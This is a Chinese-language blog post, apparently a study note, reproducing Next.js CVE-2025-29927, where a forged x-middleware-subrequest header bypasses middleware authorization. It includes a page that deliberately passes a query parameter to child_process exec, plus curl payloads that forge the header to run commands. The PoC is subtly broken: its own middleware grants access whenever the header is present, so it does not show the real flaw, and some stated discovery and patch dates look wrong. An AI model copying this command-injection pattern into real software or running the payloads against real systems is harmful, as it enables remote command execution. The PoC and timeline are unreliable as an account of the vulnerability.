CVE-2025-29927 漏洞複現

NPCMike Lv.99

這篇紀錄 Next.js CVE-2025-29927 的漏洞原理與受控本機 PoC,說明 x-middleware-subrequest header 為何會造成 middleware 授權繞過,以及官方如何修補。

結論

Next.js 在 v11 到 v15.2.2 中,對 x-middleware-subrequest header 採取信任策略。然而由於缺乏來源驗證,攻擊者可偽造該 header 來繞過授權邏輯,構成嚴重的權限繞過漏洞(CVE-2025-29927)。

自 v15.2.3 起,官方改為建立唯一的 middleware session ID,並比對該 ID 來判斷是否為內部請求,有效解決此問題。

漏洞簡介

項目 內容
漏洞編號 CVE-2025-29927
漏洞類型 授權繞過
影響範圍 Next.js v11.1.4 ~ v15.2.2(含)
CVSS 3.X 9.1 Critical

CVSS 指標

Exploitability Metric Value
AV Network
AC Low
PR None
UI None
Impact Metric Value
S Unchanged
C High
I High
A None

當 Next.js 使用 Middleware 處理授權邏輯時,攻擊者可透過特殊標頭 X-Middleware-Subrequest 繞過中介軟體的授權邏輯,進而未經授權訪問受保護的頁面。

發現者與時間線

  • 發現者:Akamai 研究人員。
  • 回報時間:2025 年 3 月 14 日首度通報給 Next.js 官方開發團隊。
  • 修補版本:Next.js 團隊於 2025 年 4 月 10 日釋出修補版本。
  • 公告時間:2025 年 4 月 16 日公告漏洞細節與 CVE 編號。

漏洞原理和利用方法

Next.js 使用內部特殊標頭 x-middleware-subrequest 來識別內部請求,例如 React Server Components 或 App Router 中的子請求。

若攻擊者在外部請求中加入此標頭,Next.js 可能錯誤地認定其為內部請求,跳過 middleware 的驗證邏輯。

根本原因是 Next.js 在處理子請求中間件機制時存在設計缺陷。

內部子請求識別方式

當 middleware 需要向內部路由發送請求,例如抓取資料或執行驗證時,Next.js 會自動加入 x-middleware-subrequest 標頭,用來標示這是內部請求,以避免 middleware 重複執行造成無限循環。

缺乏來源驗證

漏洞關鍵在於 Next.js 並未對這個標頭的來源進行嚴格驗證。這導致外部請求如果攜帶該標頭,也會被誤認為是內部子請求。

中間件邏輯問題

只要 Next.js 偵測到請求中有 x-middleware-subrequest 標頭,就可能略過對該請求的 middleware 處理,直接將其導向對應路由或 API。

繞過授權檢查

攻擊者只需手動添加這個特殊標頭,即可繞過原本由 middleware 執行的授權驗證,直接存取應該受保護的資源。

漏洞復現步驟

以下內容僅作為受控本機環境中的漏洞學習與研究筆記。

系統環境

  • Windows 10
  • Node.js v22.14.0
  • Next.js v15.2.2

流程概覽

  1. 下載 Node.js。
  2. 建立漏洞專案。
  3. 製作 middleware 腳本。
  4. 設定 next.config.mjs
  5. 建立 run.js
  6. 啟動 server。
  7. 傳送 payload,觀察 middleware bypass 行為。

下載 Node.js

進入 Node.js 官網並下載 Node.js v22.14.0。完成後可至 cmd 驗證是否成功:

1
2
3
node -v
npx -v
npm -v

都有出現對應版本編號即可。

建立漏洞專案

建立專門針對漏洞 PoC 的最小環境 vuln_nextjs_calc

1
2
cd C:\Users\testUser\Desktop
npx create-next-app@15.2.2 vuln_nextjs_calc

設定執行環境,使用有漏洞的 next@15.2.2

1
2
cd vuln_nextjs_calc
npm install next@15.2.2 react react-dom

看到 Critical 就是指 CVE-2025-29927。

套件說明:

  • next@15.2.2:內含 CVE-2025-29927 漏洞。
  • reactreact-dom:執行 Next.js 必要 package。

製作 middleware.js

建立 vuln_nextjs_calc/middleware.js,此程式用於在請求到達頁面前先做檢查,例如:

  • 是否已登入?
  • 是否有權限訪問某頁?
  • 是否來自內部來源?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import { NextResponse } from 'next/server'

export function middleware(request) {
const isInternal = request.headers.get('x-middleware-subrequest')

if (!isInternal) {
return new NextResponse('Unauthorized', { status: 401 })
}

return NextResponse.next()
}

export const config = {
matcher: ['/protected/:path*']
}

簡單來說,如果有抓到 x-middleware-subrequest 則通行請求;否則拒絕授權請求。最後透過 matcher 指定 /protected/* 都會被 middleware 攔截。

為什麼是 x-middleware-subrequest

因為這個標頭是 Next.js 自己內部產生的,一般用戶端並不會產生。

Next.js 在處理內部子請求時會自動加上這個標頭。由於這些請求其實來自 Next.js 自己的核心模組,所以 Next.js 預設信任這個標頭,漏洞也因此產生。

若我們知道它會依照 header 進行判斷,就能在 curl 時加上這個 header 觀察 bypass:

1
curl "http://localhost:3000/protected/run?cmd=calc" -H "X-Middleware-Subrequest: 1"

為什麼是 /protected

本次 PoC 將漏洞入口放置於 /protected/,模擬現實系統中將內部功能藏於「看似有授權,但實際驗證不足」的路徑下。

相較於高敏感度的 /admin/,此類路徑往往因為開發者認為不容易猜中而疏於設防,是授權繞過的熱門目標。

建立 run.js

新建 run.jspages/protected/,模擬真實系統中「僅供內部或管理員操作的命令執行功能」。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { exec } from 'child_process'

export async function getServerSideProps({ query }) {
const cmd = query.cmd || 'calc'

exec(cmd, (err) => {
if (err) console.error('執行失敗:', err.message)
})

return {
props: { cmd }
}
}

export default function Run({ cmd }) {
return (
<div>
已執行指令:<b>{cmd}</b>
</div>
)
}

啟動 server 並執行 payload

啟動 server:

1
npm run dev

執行 curl 並加上 header:

1
curl "http://localhost:3000/protected/run?cmd=calc" -H "X-Middleware-Subrequest: 1"

也可以在受控本機測試其他 payload:

1
2
curl "http://localhost:3000/protected/run?cmd=notepad" -H "X-Middleware-Subrequest: 1"
curl "http://localhost:3000/protected/run?cmd=mspaint" -H "X-Middleware-Subrequest: 1"

整個攻擊流程就完成了。

Patch / Workaround

問題本質 Recap

Next.js 錯誤地信任 header,導致攻擊者只要加上這個 header,就能繞過 middleware 的驗證。

官方修復

根據 Next.js GitHub 官方提交紀錄 Update middleware request header (#77201),官方在 commit 中將對 x-middleware-subrequest 的信任邏輯,改為使用 isInternalRequest() 進行判斷,從而防止外部請求偽造 header 繞過中介層驗證。

統整更動

分析項目 原本的做法 導致的問題 修補後的做法
是否為內部請求 只要請求帶有 x-middleware-subrequest 就視為內部請求 攻擊者可以用 curl 加上這個標頭騙過 middleware,繞過授權 驗證該請求是否帶有正確 session 的唯一 ID,才信任它是內部請求
判斷邏輯位置 沒有驗證來源,只靠單一 header 判斷 外部使用者可偽造 header,跳過中間件邏輯並執行敏感操作 在核心程式碼中加入 session 追蹤與 header 過濾,清除不合法 header
繞過途徑 curl "http://host" -H "X-Middleware-Subrequest: 1" 沒有比對內部 request session ID,任何人都可能成功繞過驗證 必須同時帶有 Next.js 內部塞入的 x-middleware-subrequest-id,並且與 global session 一致,否則直接刪除 header

資料來源

  • GitHub / Next.js 官方
  • NVD 漏洞訊息
  • Censys 漏洞訊息
  • Vercel 漏洞追蹤
  • JFrog 漏洞原理
  • Title: CVE-2025-29927 漏洞複現
  • Author: NPCMike
  • Created at : 2025-04-23 00:00:00
  • Updated at : 2026-05-13 16:49:36
  • Link: https://npcmike.github.io/2025/04/23/CVE-2025-29927/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments